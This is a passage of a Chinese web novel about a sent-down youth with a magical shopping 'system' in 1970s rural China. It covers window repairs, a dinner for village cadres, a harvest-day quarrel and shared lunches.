再说了，北窗户冬天的时候是用棉帘挡着的，夏天的时候基本上都是纱窗用来通风，安装玻璃的意义不大。 至于厨房的那两扇窗户，要真是全都用玻璃的，程十一都感觉很有罪恶感。 算了，好日子也不是靠着厨房的玻璃窗来体现的。 “快点的啊！咱们安装好窗户了还得赶紧忙着晚饭的事，别耽误了。” 程十一对着三个人摆手。 三个人相互看了一眼，到底还是听话的回去量尺寸了。 算了，这玻璃就算是他们欠小程知青的，回头从别的方面找补回来吧！ 这三个人一走，程十一就将屋里的桌子收进系统仓库，等到了院子再拿出来。 将一块玻璃铺在桌面上，就拿着卷尺去量窗框的尺寸。 窗框并非是一个大大的框架，而是分成了小格子，每个格子的尺寸看似都一样，可程十一还是想再丈量下。 量好了尺寸，程十一就将王佳佳曾经用过的眉笔在玻璃上面画线。 不算很清晰，但也足够用了。 玻璃刀也是从王家的工具箱里找到的，拿着之前剩下的木条做尺，开始在玻璃上操作。 玻璃刀划过玻璃时发出的声音挺让人不舒服的，但程十一却没有太大的感觉。 三个人回来的时候手里都拿着一张纸，而此时的程十一已经给自己割好了四块玻璃出来。 “小程知青，我们三个的窗户尺寸基本上都一样，误差很小。” 耿二牛说道。 程十一点点头：“行，放那吧！你们帮我把筐里的东西拿出来。对了，大米里面有鸡蛋，小心些，别弄碎了。” 划玻璃这事，她一个人就行，真不用三个人都在这里围着。 三个人也没异议，全都乖乖听话的去干活。 程十一抽空看了下这三个人的窗户尺寸，心里有数了。 确实都差不多，误差不超过五毫米。 耿二牛又出来了，问：“小程知青，你买腻子了吗？” “啥？” 程十一抽空抬头看他。 耿二牛指了指玻璃，又指了指南窗：“就是封闭固定玻璃的腻子。” 固定玻璃用的……腻子？ 程十一眨巴眨巴眼，一阵头脑风暴。 不是，现在固定窗户还有专门的腻子的吗？ 这个她是真不知道啊！ 不过，她会承认她不知道这件事吗？ 必然不会！ 程十一收回视线，淡定的说道：“有的，等下我进屋去拿。” 耿二牛道：“那我来割玻璃吧！这个我在老家的时候操作过。” 怕程十一信不过自己，耿二牛赶忙解释了这么一句。 程十一倒是没计较，点点头，将玻璃刀放在了桌子上，起身就往屋里走。 一边走还在一边和系统咨询腻子的事。 还别说，系统还是挺靠谱的。 系统：亲爱的主人，你说的腻子就是玻璃腻子，也称油腻子。是用石膏粉、滑石粉以及…… 程十一：别解释了，赶紧的帮我把商品搜索出来。 具体是什么成分，程十一是真的不关心。 面前的光屏瞬间浮现出了相关产品。 程十一直接买了两斤回来。 也不知道够不够，不够就再说，够的话……那就当自己囤货好了。 等程十一从屋里出来时，手里多了个袋子，不大。 “这个我不会弄，耿知青，你会不？” 程十一连这玩意儿都是第一次听说，哪里知道这玩意儿怎么弄啊！ 耿二牛嗯了声：“会的，放那吧，我把这块玻璃割好了就去弄。” “行，那安装玻璃这事也拜托你了哈！” 程十一见耿二牛做得有模有样的，索性就不再自己亲自动手了。 耿二牛回了句好，又招呼祝成才出来帮忙。 有耿二牛亲身指导，祝成才也很快就明白了怎么操作。 程十一也没闲着，去了厨房和陈丽娇忙活晚饭。 晚上可是要请大队领导们吃饭的，加上她“买”了不少东西回来，要做的准备可是半点都不少。 果然，刚一进厨房，就看到陈丽娇已经将衬衫的袖子挽到了臂弯上面，忙得连回头看她一眼的功夫都没有。 第106章 顾草根化身和善长辈 四个知青请客吃饭，算上这四个人，一共九个人。 两张桌子拼在了一起，四周摆放着六把长条凳子。 菜色不能说有多丰富，但份量却是真的多。 用二大碗装的红烧肉烧土豆，满满的一下子。 排骨炖豆角，同样的也是一整个二大碗。 白菜丝、粉丝以及黄瓜丝拌了一大海碗。 青椒土豆片是用盘子装的，份量不如另外三份，可也是冒着油光，和社员们家里面平常吃的青椒土豆片有着明显的区别。 主食分为两种。 打包带回来的饺子被用油煎得焦黄，三合面的馒头也被重新热了下，这会儿用个新的小筐装着，里面垫着白色的纱布，看起来很干净。 “娇娇姐，要不然再放个洋柿子鸡蛋汤吧！” 程十一看着这一桌的饭菜，总感觉少了点什么。 陈丽娇想了想，点头：“行，那就放个汤，不过我看你还有紫菜，要不然紫菜蛋花汤？” “行，你看着办，反正东西都在厨房里，你弄吧！” 程十一说着话，人已经进了里屋，站在衣柜前面忙活了一会儿，等再出来的时候手里多了两样东西。 一瓶茅台酒，一个铁皮盒子。 铁皮盒子倒是没多大，上面甚至没有任何字，就只有一层红色的皮。 “这是什么？” 陈娇娇看到铁皮盒子有点好奇。 程十一抬了抬铁皮盒子：“这里面是果汁粉，用水一冲就是汽水。” “你还有这个？” 陈丽娇惊讶。 程十一点头：“昂，刚刚去公社的时候看到有人手里拎着这个，我好奇就多问了两句，人家也是好心，就转手换给我了。” 是真是假的，反正她说是什么就是什么，就算想要找那个好心人都找不到。 陈丽娇的眼睛瞪圆，紧张的朝着外面看了眼，确定外面没人，这才压低声音叮嘱道：“你这丫头以后说话可要多注意些，尤其是和人换东西这事，能不说就不说，要不然被人听见了，回头指不定要闹出什么事。” “好好好，我不说就是了。” 程十一知道陈丽娇这是为自己好，自然不会顶嘴。 俩人说着话，就听见有人在大门口喊：“小程知青，陈知青，人都到齐了！” 来喊话的是耿二牛，嗓门不小，人都不用进大门就能让屋里的人听见他说了什么。 程十一率先到厨房门口回道：“马上！” 饭桌摆在了耿二牛和祝成才的院子，做饭则是在程十一的院子。 紫菜蛋花汤并不用浪费太多时间，很快，陈丽娇端着一大海碗的汤，程十一则是拿着酒和果汁粉出了厨房门，路过陈丽娇的院子来到两位男知青的大门前。 此时院子里面坐着五个人，正是光荣大队的五位说得上话的干部。 “各位领导，抱歉啊，让大家久等了。” 程十一人还没进大门，声音就先传进来了。 那声音听着脆生生的，还带着几分笑意，特别讨喜。 同时也是随着程十一的这一番话，这一顿晚饭也算是正式拉开帷幕。 看着桌上的肉菜，那油汪汪的菜汤，哪怕这五位客人是大队上最能说得上话的人也是忍不住吞口水。 等再看到程十一手里拿着的那瓶茅台酒，就算是那位妇女主任也是眼睛一亮。 刚开始还有点拿腔拿调的顾草根这会儿也瞬间化身成为了特别和善的长辈，一口一个程丫头的叫着，不知道的还得以为那是在叫他自家的闺女侄女。 这顿饭的目的是感谢大队干部们对他们四个人的照顾，要不是这五个人同意，他们四个人也不可能会有属于自己的独立院子。 至于旁的，说的也就是一些大队里的事情，上工需要注意的细节之类的。 要说多干的干货，那是真没有，但要说全都是废话倒也不至于。 程十一四个人还是听出了一些弯弯绕绕。 一顿饭吃到了天黑才结束。 耿二牛和祝成才将五位长辈送回各家，而程十一和陈丽娇则是动作麻利的将碗筷刷洗干净。 “等秋收结束后就让大队长赶紧帮忙找能挖水井的人。” 程十一看着又快见底的水缸，那叫一个无语。 陈丽娇笑着说道：“左右现在是急不得了，等下去我那提一桶回来，我那缸里的水还有大半，够咱俩用的。” “行。” 程十一也不和她客气。 忙活了一天，明天就要开始秋收，程十一还真想好好的梳洗一下。 耿二牛二人回来时，每个手里都提着一捆艾草。 耿二牛将自己手里提着的两捆送到了程十一家：“这是妇女主任家里送的，点燃，也不用太多的明火，主要是有烟就行。熏熏屋子，回头关上门，这样屋里就不会有蚊子了。” 按说这个季节的晚上已经挺凉的了，如果是在城市里，基本上已经看不到蚊子的影子。 但在乡下，尤其是附近还有水有草，那蚊子还真有不少。 收拾好了碗筷，厨房也都清理干净了，陈丽娇就回了自己的院子。 之前从陈丽娇家提过来的一桶水早就已经倒了一半在瓦罐里，这会儿已经烧开。 暖壶里面倒上一些留着喝，剩下的则是被程十一兑了凉水端进了屋里。 屋里还有艾草的那股子烟味，倒是不算很难闻。 前后窗户都挂上了窗帘。 窗帘是两块藏蓝色的布做成的。 没有什么好看的花样子，甚至颜色都算不上好看。 同样的也是从王家带出来的，没花钱，所以也就不嫌弃那么多了。 因着晚饭烧了不少火的关系，炕很烫，屋里的温度也很高。 原本只想简单擦一下的程十一在感受到这样的温度后，果断放弃了简单擦一下。 商城里有浴桶卖，塑料的，纯木头的，甚至还有浴缸。 浴缸的价格最贵，可以说账面上的余额都不够买一个回来。 木头的也不错，保温效果要比塑料的好，但价格也不便宜。 程十一也不纠结了，直接花了二十块钱买了个塑料的浴桶，成年人可以坐在里面，头还可以靠在边缘，上面甚至还有盖子。 第107章 开工 秋收上工的时间很早，五点半集合，讲话，安排工作，领工具。 差不多六点就会开始上工。 一般来说，秋收期间是不存在午休的，最多就是在田间地头的短暂的休息下，吃个午饭，其他时间都是在赶着收粮食。 程十一泡了个热水澡，担心这一觉睡过头，所以特意定了个四点的闹钟，又设置了个四点半的。 之所以要提前一个小时起床，主要是要做早饭，以及准备午饭。 秋收期间，每家都会安排人回家做饭，然后再将饭提到田边。 这样可以节省大家来回路上折腾的时间，就算这个时间不全都用来干活，至少也能坐下来多休息一会儿。 各家各户是这样，知青点也是这样。 等到了程十一四个人这里，四个人已经商量过了，午饭就提前做好了带过去。 左右现在的天也不是夏天那么炎热了，饭菜放一上午，不会很凉，也不会变质。 当然，其实也可以中午回来做的。 但那样来回折腾的人太辛苦，耿二牛和祝成才都很不好意思。 程十一也不想来回跑，还是带饭吧！ 昨天的饭菜份量不少，可除了陈丽娇外，另外八个人的饭量都不小，直接吃了个干干净净。 程十一也不太想吃那么多人的剩饭。 末世里面物资匮乏，别说是剩菜剩饭了，就算是馊了的饭菜也都要吃，因为不吃就会饿死。 但现在不一样了，又不是末世，自己也不是没钱的主儿，更不是买不到好吃的，在非必要的前提下，她还是希望自己的生活质量能够好一些。 早饭是包子豆浆。 这样的搭配已经吃过很多次了，但程十一依旧没有吃腻。 至于午饭，程十一昨天晚上睡着之前就想好了，做大饭包。 所谓的大饭包，是用大的白菜叶子做皮，里面包上米饭、花生碎、辣椒油、土豆泥、葱花、香菜之类的。 尤其是不能忘了灵魂的炸鸡蛋酱。 那个滋味，程十一真的是做梦梦见了都能流口水。 现在自己一个人住，大门还落着门闩，完全不担心有人冲进来发现什么，所以程十一也就没有墨守成规的只用土灶忙活。 铁皮炉子拿出来，点上了用来焖米饭。 大铁锅则是用来炸鸡蛋酱，蒸土豆，最后再烧上一锅开水，回头晾凉了装水壶里带着上工喝。 对于第一天上工，程十一其实还是很期待的。 转眼五点二十的闹表想了，程十一的大饭包也已经全部打包好。 每个大饭包都有将近三个拳头那么长，一圈粗的几乎两只手搂不住。 一共包了五个，程十一将每个都用油纸包好，放进自己的篮子里，带上水壶，遮阳帽，劳保手套，还有擦汗的毛巾，这才出了房门。 一边给房门上锁一边对陈丽娇的方向喊，很快就听见了陈丽娇的回应。 接着就又听陈丽娇喊耿二牛二人。 四个人的装备小有区别。 程十一和陈丽娇都是带着篮子，可两个男同志则是一人背着一个挎包。 挎包鼓鼓囊囊的，看样子也是没少带东西。 四个人一边朝着大队部走一边讨论都带了什么吃的。 耿二牛和祝成才俩人早上蒸了窝窝头，又带了咸菜，中午就打算这么吃了。 陈丽娇烙了几张饼，还另外炒了土豆丝，中午准备直接吃卷饼。 陈丽娇说道：“十一，我烙了好几张饼，到时候你和我一起吃。” “不用，我做了饭包。” 程十一提了提手里的篮子，笑着说道：“包了五个，我自己吃俩，剩下的三个正好给你们三个分了，看看我这大菜包做的咋样。” “菜包？饭包？” 祝成才很好奇：“那是什么？和包子一样吗？” 程十一笑着解释了下什么是大饭包。 光是听，祝成才就忍不住开始吞口水了。 明明才吃过早饭的，可他现在竟然就感觉到了有点饿。 程十一：“行了，你瞧瞧你那馋样吧！不知道的还以为我做了什么山珍海味呢！” 祝成才有些不好意思的挠挠头：“我也不是很馋，就是有点好奇用大白菜叶子做出来的包子是个什么味道。” 四个人有说有笑，距离大队部越来越近。 如今这四个人在整个大队还是风云人物，见他们四个出现，自然是少不了了很多注目礼。 但这些注目礼中的含义可就各不相同了。 有好奇，有羡慕，有嫉妒，也有怨恨。 其中最怨恨的眼神莫过于孙娟。 自打程十一和陈丽娇搬出去后，孙娟的日子并没有想象中的好过很多。 虽说每天晚上不用担心程十一给自己的被子泼水了，但她们那间屋子的温度好像更低了。 明明只是少了两个人，但那屋里就是感觉冷飕飕的，让人感觉特别不舒服。 要是光这样也就算了，大不了晚上就早点睡，睡着了也就感觉不到那些了。 可真正难受的却是吃饭的问题。 因为她和李娜都得罪了老知青，以至于刚开始老知青根本就带她们两个一起吃饭。 不能和大家一起吃饭，那就只能自己做饭。 孙娟和李娜又打过架，两个人那真是谁看谁都不顺眼，平日里最多也就是不搭理对方，但要让两个人合伙吃饭，那是绝对不可能的事。 李娜倒是会做人，虽说也是和老知青有过争执，但她低得下她的头，主动道歉，主动示好，没两天就成功的加入到了知青合伙吃饭的大队伍里。 而孙娟就不一样了。 她不想低头，更想让别人向她低头。 不低头就算了，甚至连自己的口粮都不想出，就想占别人的便宜。 谁都不是傻子，谁的粮食不是紧巴巴的吃啊，谁愿意让她占便宜？ 一来二去的，别说是女知青了，就连男知青都对孙娟烦得不行，可孙娟偏偏跟看不出大家的厌烦似的，天天的主动往上凑，着实是让知青点快烦死她了。 光是这样还不算，孙娟又说大家孤立她，要不然就带着她一起吃饭。 直接上演了一处道德压制。 第108章 程十一忍了，程十一不忍了 之前住在一起，程十一和陈丽娇的伙食不能说是正常的饭菜，可是饼干、奶粉之类的可没少吃。 当时孙娟就眼红，甚至在之前的火车上也是。 如今她过得更不好了，再看程十一和陈丽娇又过得更好了不说，甚至还带了不少东西，什么帽子手套，不能说是全新的吧，但脚上的黄胶鞋却是实打实的干净，着实是刺痛了她的眼睛。 于是她的心就更难受了。 “哼，上工干活就好好的干活，还穿得花枝招展的，还真是小资做派！” 孙娟的声音不大，但也不算小，至少和她站得近一些的知青们都听见了。 不仅是知青，距离他们稍微近一些的几个社员也听见了。 本来大家的注意力就在走过来的那四个人身上，其中程十一和陈丽娇的帽子和那白色的手套更是惹眼。 再被孙娟这么一说，大家看向那四个人的眼神就变得更加微妙了。 “不愧是城里来的知青啊，瞧瞧这穿着打扮，和咱们可真是太不一样了。” 有个婶子阴阳怪气的附和。 一旁的人扯了一下她的袖子，示意她别乱说。 那婶子却撇嘴，半点都没有遮掩，反而声音更大了：“扯我袖子干啥，我还说错了咋的？看看那做派，可不就是那孙知青说的一样么，小资做派！呸！这样的人就应该送去劳动改造！” 这话可就说得太直接了，也太难听了，至少在当下这个时代里，这样的话简直就等于是给人钉在了耻辱柱上。 一旁的人本想是拦着她的，毕竟平日里总在一起上工，要是这人得罪了别人，万一给自己也惹了麻烦咋办？ 可是现在看她这样坚持，还一副理直气壮，越说越来劲的样子，一旁的人也不敢阻拦了，而是往旁边挪了挪，拉开了和对方的距离。 孙娟听到了这话，眼睛一亮，瞬间有一种找到同类的感觉，当即就朝着那婶子走去：“婶子，你说得可真是太对了！这样小资做派的人就应该送去劳动改造，怎么还能让人混在咱们这样的劳动队伍中呢？” 那婶子其实也挺看不上孙娟的，长得丑就算了，干活也不行，听说之前还闹出了不少事。 可谁让这会儿孙娟的立场和她是一样的呢？ 于是婶子也放下了之前对孙娟的偏见，当即就拉着她开始叨叨叨的说了起来，那眼睛还时不时的瞪一眼程十一和陈丽娇的方向。 即便是没走到跟前，程十一也还是感觉到了这俩人深深的恶意。 皱皱眉，程十一左右看了看，并没有感觉自己和另外三个人有什么不对劲的。 再看那俩人里面还站着一个孙娟，这下也就明白过来了。 就算她今天一切正常，但在那个孙娟眼里怕也是十恶不赦的存在。 真是烦人，明明都已经不住在一起了，这个孙娟怎么还跟个疯狗一样咬着不放啊！ 程十一正要走上去，却被陈丽娇拉住了手。 不解的看过去，就听陈丽娇低声道：“今天是秋收第一天，今天肯定还有不少事情要做要说，先别和他们计较，万一真闹开了，大队长那边就算是想帮着咱们也不好说。” 程十一皱眉。 她不想这样。 结果这话被走在前面的耿二牛听见了。 耿二牛稍稍放慢了脚步，用只有他们四个人能听见的声音说道：“陈知青说得对，今天大队长他们肯定是少不了要讲话之类的。而且昨天晚上吃饭的时候大队长他们也说了，秋收期间一切都以收粮食为重，谁要是在这段时间闹腾出什么事情来，肯定是要被批评，甚至是惩罚的。咱们别出头，要想报复回去，等秋收结束了也不迟。” 还别说，耿二牛如果不提，程十一还真的差点就将昨天晚饭时的那一番话给忘记了。 顾草根当时也不知道是喝高兴了还是有意提点，还真说过类似的话。 无外乎就是这段时间谁找事，谁就受惩罚。 至于惩罚的内容，顾草根没说，但桌上的另外四个人却或多或少的说了一些。 做最累的活，拿最少的工分，甚至更严重一些，那就是做最苦最累的活不说，还有可能拿不到工分。 一年下来，顶着烈日，在酷暑中间挥汗如雨，大家图什么？图的不就是工分吗？ 而一年之中最能拿到高工分的时候也就是秋收这段时间了，甚至比春耕那时候还要重要。 这个时候如果被扣工分，别说是被惩罚的那个人了，就算是他的家里人都不能乐意。 不过大家肯定是拗不过大队上的安排的，最后只能是成为家庭内部矛盾。 程十一瞬间冷静下来：“行，我明白了。君子报仇，十年不晚嘛！我懂，我懂。” 就先以秋收为重。 不过这也是有前提的，那就是不会有人一而再再而三的找茬，否则她也不介意在这种时候搞事情。 孙娟一直在偷偷的看程十一的反应，见她都要炸毛了，谁知很快就安静下去。 这让孙娟先是紧张，接着就是兴奋。 还以为这个程十一真的有多大的能耐，没想到也是个怕事的啊！ 既然如此，那她可就不客气了。 什么脏的臭的，什么难听的不好听的话，那就跟不要钱似的从她的嘴里往外蹦。 明明没有指名道姓，可她那话里是在说谁，但凡是有耳朵的人都能一下子就听出来。 于是，看向程十一和陈丽娇的一众眼神中，不喜和厌恶得越来越多。 程十一的拳头硬了。 麻蛋的，孙娟那娘们看样子是真的活腻歪了，找死啊！ 程十一也不想去昨天晚饭的话了，当即就朝着孙娟的方向走了过去。 孙娟还以为程十一今天不会闹事，哪曾想这小丫头竟然又炸毛了，吓得她下意识的就躲在了身边的婶子身后。 那婶子一下子还没反应过来，就看到程十一冷着脸朝着她这边走过来，也是被吓了一跳。 但她也就是被吓了那么一跳而已，至于害怕什么的，她压根就没有。 想她老王婆子可不是谁都能欺负一下的人！ 第109章 她是要让我吃花生米啊 眼看着双方的距离越来越近，也就只有不到五米的距离了，程十一提气，正要发问，突然听见一声暴喝从一旁传来。 还别说，程十一也是被吓了一跳，下意识的朝着声音的来源看去。 就见顾草根黑着脸穿过人群走过来。 不过他的黑脸不是冲着程十一来的，而是冲着孙娟和那个婶子去的。 “老王婆子，你在哪胡咧咧个啥呢？” 顾草根作为大队长，气势还是有的。 这么一吼，那老王婆子还真的是一惊，赶忙否认：“大队长，你这是干啥啊？我说啥了你就冲着我来了？” 顾草根半点都没有被这人的反问问住，反而还冷笑：“你说啥了你自己不知道？一大早上的，又是秋收第一天这么重要的日子，你不说好好教一教新来的知青怎么能更好的干活，反而在这里胡咧八扯的，咋的？你是不打算要工分了是不是？” 别的话还好，可最后一句话那是真真正正的踩到了老王婆子的雷区，嗷的一下就大叫起来：“大队长，你干啥你干啥？我说啥了你就要扣我工分？” 见顾草根没有半点要缓和的意思，老王婆子也不傻，眼珠子一转，瞬间就想到了什么，身影极其迅速的一侧，又一把将原本躲在她身后的孙娟扯到了自己跟前，对顾草根说道：“大队长，都怪这个孙知青。我本来好好的站在这里等开工的，是她非要凑过来和我说话，还说什么新来的小程知青和陈志清都不是啥好人，搞那个啥小资做派，还说要送她们去劳动改造。一切都是她说的，我可啥都没说啊！” 这一甩全都不承认的做派那叫一个行云流水，没有半点停顿。 被扯到前面的孙娟还没等反应过来怎么回事，一口接着一口的大锅就砸在了她的脑袋上，砸得她脑子嗡嗡的。 “不是，我没有，我……” “哎呀孙知青，你可别不承认了。” 老王婆子压根不给孙娟辩解的机会，指了指大部分知青站着的位置，又指了指自己脚下的地面：“你刚刚可是和知青们一起来的，我可没动地方，要不是你主动过来找我叭叭那些个乱七八糟的，难不成还能是我伸手把你拽过来的？那么老远呢，我就算是把俩胳膊连在一起也够不到你啊！” 大家刚刚的注意力基本上都在程十一四人身上，还真没人注意到老王婆子和孙娟之前所站的位置是怎么样的。 现在被老王婆子这么一说，大家看向孙娟的眼神就不一样了。 还真是和老王婆子说的那样，要不是孙娟主动找到老王婆子，这俩人咋可能凑到一起？ 知青点的知青里，就算是那些老知青，其实也不是能够完全的和社员们混在一起，平日里上工的时候都是站在和社员们有些距离的地方。 现在看，老知青们还是保持着一贯的作风，那也就只有孙娟一个人主动凑过来这么一个可能了。 “你们俩都闭嘴！” 顾草根也知道老王婆子说的很有可能就是真的，但是现在可不是追究这些细节的时候。 “大队长，我……” 老王婆子还要说话，却被顾草根抬手阻止：“我不管你们俩是谁先把谁拽过来的，总之今天是什么日子，你们俩都清楚。还有刚刚那些话，如果再让我听见，你们俩就等着被批评吧！” 说完，顾草根就看向了一旁跟过来的钱会计：“让这俩人的小队长盯紧点，如果不好好干活就扣工分！” “好。” 钱会计点头应下。 别说昨天晚上的那顿饭他也被邀请去吃了，就算是没有昨天的那顿饭，他也不会在这种时候偏袒老王婆子。 老王婆子这人是个什么脾性，整个光荣大队的人就没有不知道的，那就是个出了名的大嘴巴，碎嘴子。 老王婆子还想反驳，却被另外一侧距离近一些的社员扯了袖子往后退。 见此，老王婆子也只能是不说话了，但却狠狠的剜了孙娟一眼。 真是的，要不是这个贱皮子过来找自己说话，自己能被大队长发现，甚至还针对上了吗？ 孙娟已经要哭了。 她是怎么都想不明白事情怎么就变成了现在这样。 不就是和个婶子在一起说了会儿话了吗，怎么就连大队长都给招惹来了？ 光是招惹了大队长还不算，最重要的是还和扣工分扯上了关系。 之前那几天上工，小队长对自己就鼻子不是鼻子，眼睛不是眼睛的，检查自己上工干的活，那就跟鸡蛋里面挑骨头一样。 本来还想着秋收了，小队长的活肯定也不少，肯定不会像前几天那样盯着自己干活了，哪曾想又变成了这副样子。 真是要气死她了。 又感受到了周围那些异样的眼神，孙娟气得一跺脚，转身就往外面跑。 可她还没跑出去多远，就听见程十一凉飕飕的声音从身后传来：“孙知青现在就这么跑了，是要逃避劳动，不想上工，想要拖秋收的后腿吗？” 这话让孙娟的脚步一顿，正要反驳回去，又听程十一说道：“这样的做派可连小资做派都算不上进了，这简直就是逃兵行为啊！这要是放在以前打仗的时候，这算不算是临阵逃脱，不顾战友同伴的安危？这算不算是汉煎行为啊？” 这就纯属是乱扣帽子了，比之前孙娟扣小资做派的帽子还乱。 但程十一就是故意这么说的。 真是的，什么帽子都敢往她程十一的头上扣，看来这个孙娟真的是好了伤疤忘了疼，忘了她程十一不是个软柿子可以随便捏了？ “你胡说八道！你才是汉煎！” 孙娟的脸都白了。 她最多也就是说一说小资做派之类的，最多也就是让人去劳动改造的事，怎么这个程十一一开口就是让人吃花生米的大罪啊！ 这要真是被人传出去了，别说是她了，怕是连她一大家子都得跟着吃花生米。 “我胡说八道？难道不是你做出来的事就是那么个意思？” 程十一双手环在身前，嘲讽的看着孙娟。 第110章 系统突然就不可爱了 比扣帽子，程十一虽然是后来者，但还真不怕。 给自己扣小资帽子，自己就敢把汉煎的帽子扣在对方脑袋上。 孙娟这下是彻底哭了，哇哇的哭，也不跑了，反而直接坐在地上，又是拍腿又是拍地的，这画面让程十一直接傻眼。 不是，这人不是下乡知青，是读书人，是文化人吗？咋还把泼妇这一套学了个十成十的像啊？ 而这样的动静自然是引起了其他人的注意，顾草根本来是想离开的，可是看着这一出出的戏，眼皮不由得一阵狂跳。 一旁的钱大成也是牙疼，但还没忘了今天是什么日子，连忙在顾草根身边小声反复提醒秋收之类的话。 顾草根闭了闭眼，深吸一口气，又深吸一口气，这才大吼道：“都特酿的别吵吵了！集合！” 吼完还瞪了程十一一眼，那眼神明摆着是在提醒程十一适可而止。 程十一耸了耸肩，倒是没再找茬了。 反正让人知道自己不是个好惹的就行，其他的，她可以选择性的适可而止。 今天被分到的活主要是割麦子，担麦子。 对于那些腿脚实在不利索的老人或者是年纪太小的孩子，负责的工作则是晾晒麦穗，驱赶鸟雀。 程十一和陈丽娇作为年轻人，自然是要去割麦穗的。 这活看着轻松，似乎不费什么力气，实际上却是个实打实的辛苦活。 别的不说，就说那一直弯腰割麦穗的姿势就足够考验一个人的腰了。 饶是原主这副身体从小就在王家干活长大，可那和割麦穗完全不同。 吭哧吭哧割了不到一个小时，程十一直起腰时就忍不住倒吸一口冷气。 她的腰……直不起来了。 咬牙切齿，龇牙咧嘴的终于直起来了，四处一看，大家还都是这样弯腰的动作。 程十一不由得一声长叹。 这活，真特酿的不是人干的啊！ 可是能不干吗？ 肯定不能，不仅不能，还得闷头继续干，玩命的干，否则一场大雨下来，田里的稻谷麦穗可就都要毁了。 这是在和老天爷抢饭吃，不容有半点拖延。 程十一一边干活，还一边抽空和系统聊上几句。 本来就是分散一下精力，免得让自己的注意力就只在那酸痛的腰上，可谁知这一聊，却让程十一聊出了不同的商机。 程十一：拖拉机？不是，统统啊，这玩意儿你确定是我能买得起的东西？ 拖拉机是个好东西，后面接上车斗，那就是妥妥的运输工具。 但如果安装上别的工具，那功能就会变得完全不一样了。 她可是在信息大爆炸的时代生活过二十多年的人，网上冲浪什么的简直不要太频繁。 哪怕没有亲自操作过，可也是看过不少相关的短视频的。 那个时代的耕种秋收，很多地方都已经推行了自动化，半自动化。 如果自己能够弄到可以实行自动化，不，哪怕只是半自动化的机器，那岂不是就不用这么遭罪了？ 越想，程十一的心里就越是火热。 商城里是卖这样的商品的，但问题就出在要怎么才能将这种商品过明路。 这可不是鸡蛋大米面粉那些零碎的小玩意儿，如此大的家伙事，还是个铁家伙，不想好万全之策，她也是真的不敢乱来。 系统：亲爱的主人，咱们商城里的商品种类丰富到你难以想象。再说了，你也不是没钱，从王家搜刮来的钱完全足够让你过上很富足的生活了。 停顿了下，系统又道：当然了，像是飞机啥的，你就别想了，现在就算是有卖零件的地方，把你拆吧了也买不起。 程十一：…… 突然感觉这个系统一点都不可爱了是肿么肥四？ 程十一叹气：行吧，我先想想要怎么过明路吧！ 东想西想间，时间终于来到了午休时刻。 想要回家休息什么的，那是绝对不可能的。 早在半个小时之前，就有人往回赶了，那是每家选出来的做饭的人选。 回家不仅要做饭，还要将饭菜送到田间地头的家人手里。 程十一这样带了饭的人还能有个短暂休息的时间，但也不多，最多也就是半个小时左右。 田埂旁边有一排树林，不多，也就是两趟树，相互的间隔刚刚好能够将阴凉连接起来。 一听到休息的哨子声，程十一当即就朝着最近的大树冲去。 附近还有不少人呢，不先抢占地方，回头占不到大树旁边这样最阴凉的地方了咋办？ 占据好位置，程十一转身对着陈丽娇的方向摆手，招呼对方过来。 耿二牛和祝成才是在听到哨子声后就朝着程十一和陈丽娇上工的地方走，等到了地方时，就看到这两个女同志已经坐在一棵大树旁边靠着了。 俩人都没吃饭，而是一手拿着帽子当扇子用，一手拿着个水壶。 俩人的脸都明显的红了不少，额头上贴着被汗打湿的碎发，看起来可比早上狼狈多了。 “过来了，赶紧喝点水休息下吧！咱们准备吃饭了。” 程十一一看这俩人过来，也不扇风了，赶忙将自己的大饭包拿出来。 打开一个油纸包闻了闻，没有变坏的味道。 还好还好，虽说这会儿气温还挺高的，但自己带的水壶里的水可是加了冰的。 那冰块还是她斥巨资从商城里买回来的碎冰冰，一根就要五毛钱呢！ 碎冰冰铺在了最下面，然后是一层黑色的布垫在上面，之后便是她的大饭包。 最上面的三个分给了陈丽娇三人，剩下的两个才是程十一自己的。 陈丽娇也是如此，将自己做的卷饼拿出来给另外三个人分了。 等到了耿二牛和祝成才后，俩人的窝窝头一拿出来，瞬间换来了程十一和陈丽娇一脸的嫌弃。 程十一说道：“这窝窝头你俩留着你们自己吃吧！对了，你俩不是带了咸菜吗？正好我和娇娇姐没带咸菜。” 祝成才一听，赶忙将自己的咸菜瓶子拿出来。 程十一在自己的筐里摸了摸，摸出了两副筷子，将其中一副递给陈丽娇。 四个人就这样吃完了一顿午饭，看得不远处的其他知青眼珠子都在冒火。 明明都是知青，那四个人怎么就这么不知道团结友爱呢？ 第111章 被人羡慕嫉妒也挺好的 可是有了早上的事，谁都默契的不敢去找茬，只能在小声的嘟嘟囔囔的念叨。 程十一听不见，但看到了那些人飞过来的眼刀子，不免有些埋怨顾草根。 既然都分成若干小组了，为啥不分得远一点呢？ 真是的，有那些人在不远处指指点点，真有点倒胃口。 收回视线，看到耿二牛正咬下一口窝窝头，就着一口咸菜，吃得喷香。 程十一看着耿二牛吃饭，竟然感觉有点看吃播的感觉。 就是这吃播吃的东西属实有点寒碜人。 “他们在那指指点点的，肯定又在觉得咱们四个不合群了。” 祝成才也注意到了不远处的其他知青的眼神，不由得叹了口气：“他们真是……唉！” “看他们干啥，咱们吃咱们的，又没偷又没抢。” 耿二牛咽下嘴里的食物，又道：“再说了，他们就盼着咱们四个吃不好睡不好呢！管那么多，日子还都不过了。” 还别说，这话说得程十一眼睛一亮。 对哈，换个角度一想，这样被关注的感觉似乎也不错。 自己过得好，别人过得不好还不敢上前找茬，只能是用眼刀子表示愤怒，还莫名的有点爽了。 “对，耿知青说得非常有道理！” 程十一赞同的点点头，小手伸进筐里又摸了摸，这次摸出了四个鸡蛋，还有点温热。 “来来，一人一个鸡蛋，算是今天秋收第一天的开工饭。” 程十一一点不心疼的给这三个人一人分了个水煮蛋。 看到鸡蛋，就连陈丽娇都惊讶了下，忙道：“十一，这鸡蛋有营养，你自己留着吃吧！” “对啊，小程知青，你自己吃吧！我们都要吃饱了。” 祝成才也连忙拒绝。 耿二牛更是连连摇头。 鸡蛋放在当下这个时代那可是金贵玩意儿，也算得上是难得的营养品了。 程十一则是蛮不在乎的摆摆手：“没事，就今天这一天。从明天起，你们要是想吃鸡蛋了，可以用钱和我换。两分钱一个，五分钱三。我可以顺道煮熟了给你们带过来，咋样？” 倒也不是想赚什么钱，主要就是单纯的想气一气那些眼红的人。 反正鸡蛋这玩意儿她有很多。 商城里就有卖，价格也不贵，一分钱一个。 嗯，她还是有的赚的。 三个人相互对视一眼，都是如出一辙的惊喜。 陈丽娇率先开口：“行啊！我晚上回去就给你钱！” 